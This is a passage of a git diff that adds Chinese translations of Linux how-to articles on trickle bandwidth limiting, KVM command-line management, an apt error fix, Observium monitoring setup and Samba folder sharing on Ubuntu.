[上传速率,KB/s] + +为了能够让你自己运行以下样例,确保你在自己的客户端安装了trickle和ncftp(我的是192.168.0.17)。 + +**样例1:在有无trickle的情况下上传一个2.8 MB的PDF文件。** + +我们使用一个自由发布的[LInux基础知识PDF文件][2]来进行下面的测试。 + +你可以首先使用下面的命令将这个文件下载到你当前的工作目录中: + + # wget http://linux-training.be/files/books/LinuxFun.pdf + +下面是在没有trickle的情况下将一个文件上传到我们的FTP服务器的语法: + + # ncftpput -u username -p password 192.168.0.15 /remote_directory local-filename + +其中的 /remote_directory 是相对于该用户的家目录的上传路径,而local-filename是一个你当前工作目录中的文件。 + +特别的是,在没有trickle的情形下,我们可以得到上传峰值速率52.02MB/s(请注意,这个不是真正的平均上传速率,而是峰值开始的瞬时值),而且这个文件几乎在瞬间就完成了上传。 + + # ncftpput -u username -p password 192.168.0.15 /testdir LinuxFun.pdf + +输出: + + LinuxFun.pdf: 2.79 MB 52.02 MB/s + +在使用trickle的情况下,我们会限制上传速率在5KB/s。在第二次上传文件之前,我们需要在目标目录中删除这个文件,否则ncftp就会通知我们在目标目录中已经存在了与上传文件相同的文件,从而不会执行文件的传输: + + # rm /absolute/path/to/destination/directory/LinuxFun.pdf + +然后: + + # trickle -s -u 5 ncftpput -u username -p password 111.111.111.111 /testdir LinuxFun.pdf + +输出: + + LinuxFun.pdf: 2.79 MB 4.94 kB/s + +在上面的样例中,我们看到平均的上传速率下降到了5KB/s。 + +**样例2:在有无trickle的情况下下载相同的2.8MB的PDF文件** + +首先,记得从原来的源目录中删除这个PDF: + + # rm /absolute/path/to/source/directory/LinuxFun.pdf + +请注意,下面的样例中将远程的文件下载到客户端机器的当前目录下,这是由FTP服务器的IP地址后面的“.”决定的。 + +没有trickle的情况下: + + # ncftpget -u username -p password 111.111.111.111 . /testdir/LinuxFun.pdf + +输出: + + LinuxFun.pdf: 2.79 MB 260.53 MB/s + +在有trickle的情况下,限制下载速率在20KB/s: + + # trickle -s -d 30 ncftpget -u username -p password 111.111.111.111 . /testdir/LinuxFun.pdf + +输出: + + LinuxFun.pdf: 2.79 MB 17.76 kB/s + +### 在监督[非托管]模式下运行Trickle ### + +trickle也可以按照/etc/trickled.conf文件中定义的一系列参数运行在非托管模式下。 这个文件定义了守护线程 trickled的行为以及如何管理trickle。 + +另外,如果你想要全局设置被所有的应用程序使用的话,我们就会需要使用trickle命令。 这个命令运行守护进程,并允许我们通过trickle定义所有应用程序共享的上传下载限制,不需要我们每次来进行指定。 + +例如,运行: + + # trickled -d 50 -u 10 + +会导致任何通过trickle运行的应用程序的上传下载速率分别限制在30kb/s和10kb/s。 + +请注意,你可以在任何时间都能确认守护线程trickled是否正在运行以及其运行参数: + + # ps -ef | grep trickled | grep -v grep + +输出: + + root 16475 1 0 Dec24 ? 00:00:04 trickled -d 50 -u 10 + +**样例3:在使用/不使用trickle的情形下上传一个 19MB 的mp4文件到我们的FTP服务器。** + +在这个样例中,我们会使用“He is the gift”的自由分发视频,可以通过这个[链接][3]下载。 + +我们将会在开始时通过以下的命令将这个文件下载到你的当前工作目录中: + + # wget http://media2.ldscdn.org/assets/missionary/our-people-2014/2014-00-1460-he-is-the-gift-360p-eng.mp4 + +首先,我们会使用之前列出的命令来开启守护进程trickled: + + # trickled -d 30 -u 10 + +在不使用trickle时: + + # ncftpput -u username -p password 192.168.0.15 /testdir 2014-00-1460-he-is-the-gift-360p-eng.mp4 + +输出: + + 2014-00-1460-he-is-the-gift-360p-eng.mp4: 18.53 MB 36.31 MB/s + +在使用trickle时: + + # trickle ncftpput -u username -p password 192.168.0.15 /testdir 2014-00-1460-he-is-the-gift-360p-eng.mp4 + +输出: + + 2014-00-1460-he-is-the-gift-360p-eng.mp4: 18.53 MB 9.51 kB/s + +我们可以看到上面的输出,上传的速率下降到了约 10KB/s。 + +** 样例4:在使用/不使用trickle的情形下下载这个相同的视频 ** + +与样例2一样,我们会将该文件下载到当前工作目录中。 + +在没有trickle时: + + # ncftpget -u username -p password 192.168.0.15 . /testdir/2014-00-1460-he-is-the-gift-360p-eng.mp4 + +输出: + + 2014-00-1460-he-is-the-gift-360p-eng.mp4: 18.53 MB 108.34 MB/s + +有trickle的时: + + # trickle ncftpget -u username -p password 111.111.111.111 . /testdir/2014-00-1460-he-is-the-gift-360p-eng.mp4 + +输出: + + 2014-00-1460-he-is-the-gift-360p-eng.mp4: 18.53 MB 29.28 kB/s + +上面的结果与我们之前设置的下载限速相对应(30KB/s)。 + +**注意:** 一旦守护进程开启之后,就没有必要使用trickle来为每个应用程序来单独设置限制。 + +如前所述,人们可以进一步地通过trickled.conf来客制化trickle的带宽速率调整,该文件的一个典型的分段有以下部分组成: + + [service] + Priority = + Time-Smoothing = + Length-Smoothing = + +其中, + +- [service] 用来指示我们想要对其进行带宽使用调整的应用程序名称 +- Priority 用来让我们为某个服务制定一个相对于其他服务高的优先级,这样就不允许守护进程管理中的一个单独的应用程序来占用所有的带宽。越小的数字代表更高的优先级。 +- Time-Smoothing [以秒计]: 定义了trickled让各个应用程序传输或接收数据的时间间隔。小的间隔值(0.1-1秒)对于交互式应用程序是理想的,因为这样会具有一个更加平滑的会话体验,而一个相对较大的时间间隔值(1-10秒)对于需要批量传输应用程序就会显得更好。如果没有指定该值,默认是5秒。 +- Length-smoothing [KB 单位]: 该想法与Time-Smoothing如出一辙,但是是基于I/O操作而言。如果没有指定值,会使用默认的10KB。 + +上述平滑值(Time-Smoothing、 Length-smoothing)的改变会被翻译为将指定的服务的使用一个间隔值而不是一个固定值。不幸的是,没有一个特定的公式来计算间隔值的上下限,主要依赖于特定的应用场景。 + +下面是一个在CentOS 7 客户端中的trickled.conf 样例文件(192.168.0.17): + + [ssh] + Priority = 1 + Time-Smoothing = 0.1 + Length-Smoothing = 2 + + [ftp] + Priority = 2 + Time-Smoothing = 1 + Length-Smoothing = 3 + +使用该设置,trickled会为SSH赋予比FTP较高的传输优先级。值得注意的是,一个交互进程,例如SSH,使用了一个较小的时间间隔值,然而一个处理批量数据传输的服务如FTP,则使用一个较大的时间间隔来控制之前的样例中的上传下载速率,尽管不是百分百的由trickled指定的值,但是也已经非常接近了。 + +### 总结 ### + +在该文章中,我们探索了使用trickle在基于Fedora发行版和Debian衍生版平台上来限制应用程序的带宽使用。也包含了其他的可能用法,但是不对以下情形进行限制: + +- 限制系统工具的下载速度,例如[wget][4],或 BT客户端. +- 限制你的系统的包管理工具[`yum`][5]更新的速度 (如果是基于Debian系统的话,其包管理工具为[`aptitude`][6])。 +- 如果你的服务器是在一个代理或防火墙后面(或者其本身即是代理或防火墙的话),你可以使用trickle来同时设定下载和上传速率,或者客户端或外部通讯的速率。 + +欢迎提问或留言。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/manage-and-limit-downloadupload-bandwidth-with-trickle-in-linux/ + +作者:[Gabriel Cánepa][a] +译者:[theo-l](https://github.com/theo-l) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/gacanepa/ +[1]:https://linux.cn/article-2324-1.html +[2]:http://linux-training.be/files/books/LinuxFun.pdf +[3]:http://media2.ldscdn.org/assets/missionary/our-people-2014/2014-00-1460-he-is-the-gift-360p-eng.mp4 +[4]:http://www.tecmint.com/10-wget-command-examples-in-linux/ +[5]:http://www.tecmint.com/20-linux-yum-yellowdog-updater-modified-commands-for-package-mangement/ +[6]:http://www.tecmint.com/dpkg-command-examples/ diff --git a/published/201505/20150302 How to Manage KVM Virtual Environment using Commandline Tools in Linux.md b/published/201505/20150302 How to Manage KVM Virtual Environment using Commandline Tools in Linux.md new file mode 100644 index 0000000000..7c133f90af --- /dev/null +++ b/published/201505/20150302 How to Manage KVM Virtual Environment using Commandline Tools in Linux.md @@ -0,0 +1,165 @@ +如何在Linux中用命令行工具管理KVM虚拟环境 +================================================================================ +在我们[KVM系列专题][1]的第四部分,我们将会一起讨论下在命令行界面下来管理KVM环境。我们分别用‘virt-install’和virsh命令行工具来创建并配置虚拟机和存储池,用qemu-img命令行工具来创建并管理磁盘映像。 + +![KVM Management in Linux](http://www.tecmint.com/wp-content/uploads/2015/02/KVM-Management-in-Linux.jpg) + +*Linux系统的KVM管理* + +在这篇文章里没有什么新的概念,我们只是用命令行工具重复之前所做过的事情,也没有什么前提条件,都是相同的过程,之前的文章我们都讨论过。 + +### 第一步: 配置存储池 ### + +Virsh命令行工具是一款管理virsh客户域的用户界面。virsh程序能在命令行中运行所给的命令以及它的参数。 + +本节中,我们要用它给我们的KVM环境创建存储池。想知道关于这个工具的更多信息,用以下这条命令。 + + # man virsh + +**1. 用virsh带pool-define-as的命令来定义新的存储池,你需要指定名字、类型和类型参数。** + +本例中,我们将名字取为Spool1,类型为目录。默认情况下你可以提供五个参数给该类型: + +- source-host +- source-path +- source-dev +- source-name +- target + +对于目录类型,我们需要用最后一个参数“target”来指定存储池的路径,其它参数项我们可以用“-”来填充。 + + # virsh pool-define-as Spool1 dir - - - - "/mnt/personal-data/SPool1/" + +![Create New Storage Pool](http://www.tecmint.com/wp-content/uploads/2015/02/Create-New-Storage-Pool.png) + +*创建新存储池* + +**2. 查看环境中我们所有的存储池,用以下命令。** + + # virsh pool-list --all + +![List All Storage Pools](http://www.tecmint.com/wp-content/uploads/2015/02/List-All-Storage-Pools.png) + +*列出所有存储池* + +**3. 现在我们来构造存储池了,用以下命令来构造我们刚才定义的存储池。** + + # virsh pool-build Spool1 + +![Build Storage Pool](http://www.tecmint.com/wp-content/uploads/2015/02/Build-Storage-Pool.png) + +*构造存储池* + +**4. 用带pool-start参数的virsh命令来激活并启动我们刚才创建并构造完成的存储池。** + + # virsh pool-start Spool1 + +![Active Storage Pool](http://www.tecmint.com/wp-content/uploads/2015/02/Active-Storage-Pool.png) + +*激活存储池* + +**5. 查看环境中存储池的状态,用以下命令。** + + # virsh pool-list --all + +![Check Storage Pool Status](http://www.tecmint.com/wp-content/uploads/2015/02/Check-Storage-Pool-Status.png) + +*查看存储池状态* + +你会发现Spool1的状态变成了已激活。 + +**6. 对Spool1进行配置,让它每次都能被libvirtd服务自启动。** + + # virsh pool-autostart Spool1 + +![Configure KVM Storage Pool](http://www.tecmint.com/wp-content/uploads/2015/02/Configure-Storage-Pool.png) + +*配置KVM存储池* + +**7. 最后来看看我们新的存储池的信息吧。** + + # virsh pool-info Spool1 + +![Check KVM Storage Pool Information](http://www.tecmint.com/wp-content/uploads/2015/02/Check-Storage-Pool-Information.png) + +*查看KVM存储池信息* + +恭喜你,Spool1已经准备好待命,接下来我们试着创建存储卷来使用它。 + +### 第二步: 配置存储卷/磁盘映像 ### + +现在轮到磁盘映像了,用qemu-img命令在Spool1中创建一个新磁盘映像。获取更多细节信息,可以查看man手册。 + + # man qemu-img + +**8. 我们应该在qemu-img命令之后指定“create, check,…”等等操作、磁盘映像格式、你想要创建的磁盘映像的路径和大小。** + + # qemu-img create -f raw /mnt/personal-data/SPool1/SVol1.img 10G + +![Create Storage Volume](http://www.tecmint.com/wp-content/uploads/2015/02/Create-Storage-Volumes.png) + +*创建存储卷* + +**9. 通过使用带info的qemu-img命令,你可以获取到你的新磁盘映像的一些信息。** + +![Check Storage Volume Information](http://www.tecmint.com/wp-content/uploads/2015/02/Check-Storage-Volume-Information.png) + +*查看存储卷信息* + +**警告**: 不要用qemu-img命令来修改被运行中的虚拟机或任何其它进程所正在使用的映像,那样映像会被破坏。 + +现在是时候来创建虚拟机了。 + +### 第三步: 创建虚拟机 ### + +**10. 现在到最后一个环节了,在最后一步中,我们将用virt-install命令来创建虚拟机。virt-install是一个用来创建新的KVM虚拟机命令行工具,它使用“libvirt”管理程序库。想获取更多细节,同样可以查看man手册。** + + # man virt-install + +要创建新的KVM虚拟机,你需要用到带以下所有信息的命令。 + +- Name: 虚拟机的名字。 +- Disk Location: 磁盘映像的位置。 +- Graphics : 怎样连接VM,通常是SPICE。 +- vcpu : 虚拟CPU的数量。 +- ram : 以兆字节计算的已分配内存大小。 +- Location : 指定安装源路径。 +- Network : 指定虚拟网络,通常是virbr0网桥。 + + # virt-install --name=rhel7 --disk path=/mnt/personal-data/SPool1/SVol1.img --graphics spice --vcpu=1 --ram=1024 --location=/run/media/dos/9e6f605a-f502-4e98-826e-e6376caea288/rhel-server-7.0-x86_64-dvd.iso --network bridge=virbr0 + +![Create New Virtual Machine](http://www.tecmint.com/wp-content/uploads/2015/02/Create-New-Virtual-Machines.png) + +*创建新的虚拟机* + +**11. 你会看到弹出一个virt-vierwer窗口,像是在通过它在与虚拟机通信。** + +![Booting Virtual Machine](http://www.tecmint.com/wp-content/uploads/2015/02/Booting-Virtual-Machine.jpeg) + +*虚拟机启动程式* + +![Installation of Virtual Machine](http://www.tecmint.com/wp-content/uploads/2015/02/Installation-of-Virtual-Machine.jpeg) + +*虚拟机安装过程* + +### 结论 ### + +以上就是我们KVM教程的最后一部分了,当然我们还没有完全覆盖到全部,我们只是打了个擦边球,所以现在该轮到你来好好地利用这些丰富的资源来做自己想做的事了。 + +- [KVM Getting Started Guide][2] +- [KVM Virtualization Deployment and Administration Guide][3] + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/kvm-management-tools-to-manage-virtual-machines/ + +作者:[Mohammad Dosoukey][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/dos2009/ +[1]:http://www.tecmint.com/install-and-configure-kvm-in-linux/ +[2]:https://access.redhat.com/site/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Virtualization_Getting_Started_Guide/index.html +[3]:https://access.redhat.com/site/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Virtualization_Deployment_and_Administration_Guide/index.html diff --git a/published/201505/20150304 Linux Basics--How To Fix 'E-- var cache apt archives subprocess new pre-removal script returned error exit status 1' In Ubuntu.md b/published/201505/20150304 Linux Basics--How To Fix 'E-- var cache apt archives subprocess new pre-removal script returned error exit status 1' In Ubuntu.md new file mode 100644 index 0000000000..09cb220cd2 --- /dev/null +++ b/published/201505/20150304 Linux Basics--How To Fix 'E-- var cache apt archives subprocess new pre-removal script returned error exit status 1' In Ubuntu.md @@ -0,0 +1,45 @@ +如何修复 Ubuntu 上“...script returned error exit status 1”的错误 +================================================================================ +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2014/04/ubuntu-790x558.png) + +今天,我在更新VirtualBox新版本的时候遇到了一个问题。 + +> E: /var/cache/apt/archives/ subprocess new pre-removal script returned error exit status 1 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/Update-Manager_0011.png) + +### 解决: ### + +我google了一下并找到了方法。下面是我解决的方法。 + + sudo apt-get clean + sudo apt-get update && sudo apt-get upgrade + +这样几乎可以修复这个问题了。 + +如果你仍然有问题,那就试试下面的命令: + + sudo dpkg --configure -a + sudo apt-get -f install + +或者你可以按照下面的方法从[Oracle VirtualBox][1]官网下载最新版本并安装。 + + sudo apt-get update + sudo dpkg -i virtualbox-4.3_4.3.24-98716~Ubuntu~raring_amd64.deb + sudo apt-get -f install + sudo apt-get autoclean && sudo apt-get autoremove + +干杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-basics-how-to-fix-e-varcacheaptarchives-subprocess-new-pre-removal-script-returned-error-exit-status-1-in-ubuntu/ + +作者:[SK][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://www.unixmen.com/author/sk/ +[1]:https://www.virtualbox.org/wiki/Downloads diff --git a/published/201505/20150304 Monitoring Your Network And Servers With Observium.md b/published/201505/20150304 Monitoring Your Network And Servers With Observium.md new file mode 100644 index 0000000000..14fc41b746 --- /dev/null +++ b/published/201505/20150304 Monitoring Your Network And Servers With Observium.md @@ -0,0 +1,174 @@ +使用Observium来监控你的网络和服务器 +================================================================================ +### 简介### + +在监控你的服务器、交换机或者设备时遇到过问题吗?**Observium** 可以满足你的需求。这是一个免费的监控系统,它可以帮助你远程监控你的服务器。它是一个由PHP编写的基于自动发现 SNMP 的网络监控平台,支持非常广泛的网络硬件和操作系统,包括 Cisco、Windows、Linux、HP、NetApp 等等。在此我会给出在 Ubuntu 12.04 上一步步地设置一个 **Observium** 服务器的介绍。 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/Capture1.png) + +目前有两种不同的 **observium** 版本。 + +- Observium 社区版本是一个在 QPL 开源许可证下的免费工具,这个版本是对于较小部署的最好解决方案。该版本每6个月进行一次安全性更新。 +- 第2个版本是 Observium 专业版,该版本采用基于 SVN 的发布机制。 会得到每日安全性更新。 该工具适用于服务提供商和企业级部署。 + +更多信息可以通过其[官网][1]获得。 + +### 系统需求### + +要安装 **Observium**, 需要具有一个最新安装的服务器。**Observium** 是在 Ubuntu LTS 和 Debian 系统上进行开发的,所以推荐在 Ubuntu 或 Debian 上安装 **Observium**,因为可能在别的平台上会有一些小问题。 + +该文章会引导你在 Ubuntu 12.04 上安装 **Observium**。对于小型的 **Observium** 安装,建议使用 256MB 内存和双核处理器的配置。 + +### 安装需求 ### + +在安装 **Observuim** 之前,你需要确认安装所有的依赖关系包。 + +首先,使用下面的命令更新你的服务器: + + sudo apt-get update + +然后你需要安装下列运行 Observuim 所需的全部软件包。 + +Observium 需要使用下面所列出的软件才能正确的运行: + +- LAMP 服务器 +- fping +- Net-SNMP 5.4+ +- RRDtool 1.3+ +- Graphviz + +对于可选特性的要求: + +- Ipmitool - 仅在当你想要获取服务器上的 IPMI(Intelligent Platform Management Interface 智能平台管理接口)基板控制器时。 +- Libvirt-bin - 仅在当你想要使用 libvirt 进行远程 VM 主机监控时。 + + sudo apt-get install libapache2-mod-php5 php5-cli php5-mysql php5-gd php5-mcrypt php5-json php-pear snmp fping mysql-server mysql-client python-mysqldb rrdtool subversion whois mtr-tiny ipmitool graphviz imagemagick libvirt ipmitool + +### 为 Observium 创建 MySQL 数据库及其用户。 + +现在你需要登录到 MySQL 中并为 **Observium** 创建数据库: + + mysql -u root -p + +在用户验证成功之后,你需要按照下面的命令创建该数据库。 + + CREATE DATABASE observium; + +数据库名为 **Observium**,稍后你会需要这个信息。 + +现在你需要创建数据库管理员用户。 + + CREATE USER observiumadmin@localhost IDENTIFIED BY 'observiumpassword'; + +接下来,你需要给该管理员用户相应的权限来管理创建的数据库。 + + GRANT ALL PRIVILEGES ON observium.* TO observiumadmin@localhost; + +你需要将权限信息写回到磁盘中来激活新的 MySQL 用户: + + FLUSH PRIVILEGES; + exit + +### 下载并安装 Observium### + +现在我们的系统已经准备好了, 可以开始Observium的安装了。 + +第一步,创建 Observium 将要使用的文件目录: + + mkdir -p /opt/observium && cd /opt + +按本教程的目的,我们将会使用 Observium 的社区/开源版本。使用下面的命令下载并解压: + + wget http://www.observium.org/observium-community-latest.tar.gz + tar zxvf observium-community-latest.tar.gz + +现在进入到 Observium 目录。 + + cd observium + +将默认的配置文件 '**config.php.default**' 复制到 '**config.php**',并将数据库配置选项填充到配置文件中: + + cp config.php.default config.php + nano config.php + +---------- + + / Database config + $config['db_host'] = 'localhost'; + $config['db_user'] = 'observiumadmin'; + $config['db_pass'] = 'observiumpassword'; + $config['db_name'] = 'observium'; + +现在为 MySQL 数据库设置默认的数据库模式: + + php includes/update/update.php + +现在你需要创建一个文件目录来存储 rrd 文件,并修改其权限以便让 apache 能将写入到文件中。 + + mkdir rrd + chown apache:apache rrd + +为了在出现问题时排错,你需要创建日志文件。 + + mkdir -p /var/log/observium + chown apache:apache /var/log/observium + +现在你需要为 Observium 创建虚拟主机配置。 + + + DocumentRoot /opt/observium/html/ + ServerName observium.domain.com + CustomLog /var/log/observium/access_log combined + ErrorLog /var/log/observium/error_log + + AllowOverride All + Options FollowSymLinks MultiViews + + + +下一步你需要让你的 Apache 服务器的 rewrite (重写)功能生效。 + +为了让 'mod_rewrite' 生效,输入以下命令: + + sudo a2enmod rewrite + +该模块在下一次 Apache 服务重启之后就会生效。 + + sudo service apache2 restart + +###配置 Observium### + +在登入 Web 界面之前,你需要为 Observium 创建一个管理员账户(级别10)。 + + # cd /opt/observium + # ./adduser.php admin adminpassword 10 + User admin added successfully. + +下一步为发现和探寻任务设置一个 cron 任务,创建一个新的文件 ‘**/etc/cron.d/observium**’ 并在其中添加以下的内容。 + + 33 */6 * * * root /opt/observium/discovery.php -h all >> /dev/null 2>&1 + */5 * * * * root /opt/observium/discovery.php -h new >> /dev/null 2>&1 + */5 * * * * root /opt/observium/poller-wrapper.py 1 >> /dev/null 2>&1 + +重载 cron 进程来增加新的任务。 + + # /etc/init.d/cron reload + +好啦,你已经完成了 Observium 服务器的安装拉! 使用你的浏览器登录到 **http://\**,然后上路吧。 + +![](http://www.unixmen.com/wp-content/uploads/2015/03/Capture.png) + +尽情享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/monitoring-network-servers-observium/ + +作者:[anismaj][a] +译者:[theo-l](http://github.com/theo-l) +校对:[wxy](http://github.com/wxy) + +本文由 [LCTT](http://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/anis/ +[1]:http://www.observium.org/ diff --git a/published/201505/20150304 Share Folders On Local Network Between Ubuntu And Windows.md b/published/201505/20150304 Share Folders On Local Network Between Ubuntu And Windows.md new file mode 100644 index 0000000000..a2e5e59286 --- /dev/null +++ b/published/201505/20150304 Share Folders On Local Network Between Ubuntu And Windows.md @@ -0,0 +1,175 @@ +如何在局域网中将Ubuntu文件夹共享给Windows +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Share_Folder_Ubuntu_windows.jpeg) + +本文全面详细地向你描述了**在Ubuntu中如何实现局域网内的文件夹共享**。 + +你的家中是不是有多台电脑?当你需要从一台Ubuntu电脑向另一台电脑传输数据时,是不是必须用到U盘或SD卡?你是否也觉得这个方法很烦人?我想肯定是。本文的目的就是使你在局域网内快速方便地传输文件、文档和其它较大的数据,以节省你的宝贵时间。只需一次设置,然后轻点鼠标,你就可以自由地**在Ubuntu和Windows之间共享文件**,当然这对其它Linux系统同样使用。不要担心,这很容易操作,不会花费太多时间。 + +除此之外,尽管本文是在Ubuntu上进行实践,但这个教程在其它Linux系统上同样有用。 + +#### 在Ubuntu上实现局域网共享文件夹 #### + +如果你的系统是Ubuntu 14.04、14.10或12.04,有两个方法可以使你通过局域网在搭载Windows或其他Linux的电脑上共享本地文件。 + +- 对局域网中的每个用户提供无密码共享 +- 仅限特定访问,提供文件夹密码保护 + +这篇文章包括两种方法,你可以选择你想用的那种。 + +### 1. 局域网无密码共享文件夹 ### + +#### 步骤一:#### + +为了在Ubuntu上实现局域网共享文件夹,右键点击打算共享的文件夹,并选择“Local Network Share(本地网络共享)”: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Share_Folder_Ubuntu.jpeg) + +**可能有用的故障解决方案**:如果在右键菜单中看不到“Local Network Share”的选项,那就新建一个终端,使用下面的命令去安装nautlius-share插件: + + sudo apt-get install nautilus-share + +然后重启Nautilus。可以选择注销再登录,或者使用这个命令: + + nautilus -q + +#### 步骤二:#### + +一旦点击“Local Network Share”,就会出现共享文件夹的选项。只需选中“Share this folder(共享该文件夹)”这一项: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Share_Folder_Ubuntu_1.jpeg) + +**可能的故障解决方案**:如果提示共享服务还未安装,就像下图所示,那就点击安装服务,按照提示操作。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Share_Folder_Ubuntu_2.jpeg) + +#### 步骤三:#### + +当选中“Share this folder”的选项,就会看到按钮“Create Share(创建共享)”变得可以点击了。你也可以“Allow others to create and delete fies in this folder(允许其他用户在共享文件夹中编辑文件)”。选项“Guest access(允许访客访问)”也是如此。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Share_folder_Ubuntu_3.png) + +你会看到文件夹图标已经显示为共享的。如果要停止共享文件夹,只需取消“Share this floder”这个选项。 + +这个方法就是这么简单,使得局域网中的任何人都可以访问共享文件夹中的文件。在正常情况下,你会选择这种方式。因为,家用局域网中的电脑通常都是可信电脑。但情况也不总是这样。如果你只是想特定的用户才能访问怎么办?这个时候就需要Samba服务器了。我们在本文的第二部分讨论这种方法。 + +### 2. 在Ubuntu上使用密码保护实现局域网共享文件夹### + +为了达到这个目的,首先需要配置Samba服务器。事实上,在这篇教程的前一部分我们已经用到了Samba,只是我们没有刻意强调。在介绍如何在Ubuntu上搭建Samba服务器实现局域网共享的方法之前,先快速预览一下[Samba][1]到底是什么。 + +#### Samba是什么? #### + +Samba是一个允许用户通过网络共享文件、文档和打印机的软件包,无论是在Linux、Windows,还是Mac上。它适用于所有的主流平台,可以在所有支持系统上流畅运行。下面是维基百科的介绍: + +> Samba是一款重新实现SMB/CIFS网络协议的自由软件,最初由安德鲁·垂鸠开发。在第三版中,Smaba不仅支持通过不同的Windows客户端访问及分享SMB的文件夹及打印机,还可以集成到Windows Server域,作为主域控制器(PDC)或者域成员。它也可以作为活动目录域的一部分。 + +#### 在Ubuntu上安装Samba服务器 #### + +你可以很方便地在Ubuntu电脑上安装Samba。安装前,请先更新系统以便安装任何可用的更新。 + + sudo apt-get update && apt-get upgrade + +然后按照这条命令安装samba和少量所需的软件包: + + sudo apt-get install samba samba-common system-config-samba python-glade2 gksu + +一旦安装完成Samba服务器,就可以从图形界面配置Samba来分享文件。 + +#### 在Ubuntu上配置Samba服务器 #### + +从dash中打开Samba配置工具: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Setup-Samba.png) + +进入到**Preference->Server Settings**。尽管默认已经设置好,可能就是你需要的。但在某些情况下你可能需要做一些改动。 + +在Server Setting中可以看到两个选项卡,‘Basic’和‘Security’。在Basic选项卡下的选项含义如下: + +- 工作组 - 用户要连接的电脑所在工作组的名字。比如,如果你想连接到一台Windows电脑,你就要输入Windows电脑的工作组名字。在Windows的Samba服务器设置中,已经默认设置好统一的工作组名字。但如果你有不同的工作组名字,就在这个字段中输入自定义的工作组名字。(在Windows 7中获取工作组名字,右击计算机图标,进到属性,就能看到Windows工作组名字。) +- 描述 - 其他用户看到的你的电脑名字。不要使用空格或不适用于网络的字符。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/samba-server-settings.png) + +设置samba服务器允许‘Guests’可用是不明智的,所以没必要修改安全设置,保持原样即可。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Samba-Security-Settings-compressed.jpg) + +这就搞定了!你已经搭建好Samba服务器,距离实现网络共享第一个文件夹的目标不远了! + +#### 为网络文件共享创建一个系统用户 #### + +现在我们需要为网络共享文件创建一个系统用户。下面是非常简单的步骤: + +- 在Systems Settings下点击**User Accounts**。 +- 点击**unlock**使其可用,以及+(**加号**)图标。 +- 点击+(加号)图标,创建一个新的系统用户。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/create-system-user1.jpg) + +如上图所示,需要输入‘Full name’。当你输入‘Full name’时,Username会自动填充为Full name。因为创建这个用户是为了共享文件,所以还要指定Account Type为‘**Standard**’。 + +完成上述步骤,点击添加,你就创建好一个系统用户。这个用户还没有被激活,所以需要为其设置密码来激活。确保Users accounts界面已经解锁。点击尚不可用的账户,输入一个新密码,然后确认密码,点击Change。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/activate-system-user.jpg) + +耶!到目前为止我们已经安装并配置好Samba,已经创建了一个系统用户以通过这个账户在网络上共享文件,而且也已经激活了新用户。现在来到配置Samba的最后一步,然后就可以共享文件夹了。 + +#### 添加Samba新用户 #### + +打开Samba,在Preference先点击Samba Users。填写弹出的对话框,下面是其中几个字段的说明: + +**Unix Username** - 在这种情况下,我选择刚才创建的用户。 + +**Windows Username** - 输入你要访问的Windows电脑的用户名。 + +**Samba Password** - 输入你要访问的Windows电脑的密码。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/samba-user-setting.jpg) + +完成后点击OK。现在做个深呼吸。你已经在Samba的帮助下成功创建一个网络。然后重启网络或Samba服务,准备好和其它电脑共享文件。 + + sudo restart smbd && sudo restart nmbd + +#### 通过网络共享文件夹或文件 #### + +在图形用户界面下通过Samba共享文件是很简单的。点击加号图标,会看到如图所示的对话框: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/share-files-and-folders.jpg) + +填写完这些字段。在‘Directory’中,浏览要共享的文件夹。你会看到的字段的含义如下: + +- **Share name** 是其它人会看到的文件夹名字。 +- **Description** 是要共享内容的简单描述。 +- **Writeable** 默认情况下共享的文件夹是‘read only’。如果允许网络上的其他用户修改它们,设置为writable。 +- **Visiable** 当你点击Visiable时,就像它的名字一样,共享文件夹就对网络上的其他人可见。 + +现在你可以设置共享文件夹的权限。点击‘Access’选项,选择想要共享文件夹的用户。当你选择对所有人允许访问后,这个文件夹就对网络上的所有人可见。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Screenshot-from-2015-02-28-202031.png) + +最后点击OK,完成共享。现在这个文件夹就与你想要共享的用户实现共享。你已经完成了网络共享文件。还有其它要做的吗?对!还不知道如何从网络上移除文件夹? + +#### 移除共享文件夹 #### + 